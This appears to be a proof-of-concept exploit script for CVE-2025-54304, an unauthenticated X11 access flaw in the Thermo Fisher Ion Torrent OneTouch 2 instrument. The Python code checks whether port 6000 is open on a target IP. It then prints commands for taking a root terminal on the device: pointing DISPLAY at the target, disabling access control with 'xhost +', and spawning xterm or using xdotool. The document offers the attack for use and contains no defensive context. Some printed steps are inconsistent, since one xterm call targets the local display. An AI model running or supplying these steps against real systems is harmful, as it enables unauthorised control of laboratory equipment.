CVE-2025-54304 Thermo Fisher Ion Torrent OneTouch 2 X11未授权访问漏洞

#!/usr/bin/env python3 """ CVE-2025-54304 PoC - Thermo Fisher Ion Torrent OneTouch 2 X11 Unauthenticated Access Usage: python3 cve-2025-54304.py <target_ip> """ import socket import sys def check_x11_open(target_ip, port=6000): """Check if X11 server is accessible on target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_ip, port)) sock.close() return result == 0 except Exception as e: print(f"[-] Connection error: {e}") return False def x11_exploit(target_ip, port=6000): """ Exploit X11 to gain shell access via matchbox-desktop Requires: xdotool, xterm (or similar tools) """ print(f"[*] Target: {target_ip}:{port}") print(f"[*] Checking X11 accessibility...") if not check_x11_open(target_ip, port): print("[-] X11 port is not accessible") return False print("[+] X11 server is exposed!") print("[*] To exploit, use the following commands:") print(f" export DISPLAY={target_ip}:0") print(" # Disable access control") print(" xhost +") print(" # Spawn a root terminal via matchbox-desktop") print(" xterm -display :0 -bg black -fg white &") print(" # Or execute commands directly") print(" xdotool key super+alt+t # Open terminal") return True if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] x11_exploit(target)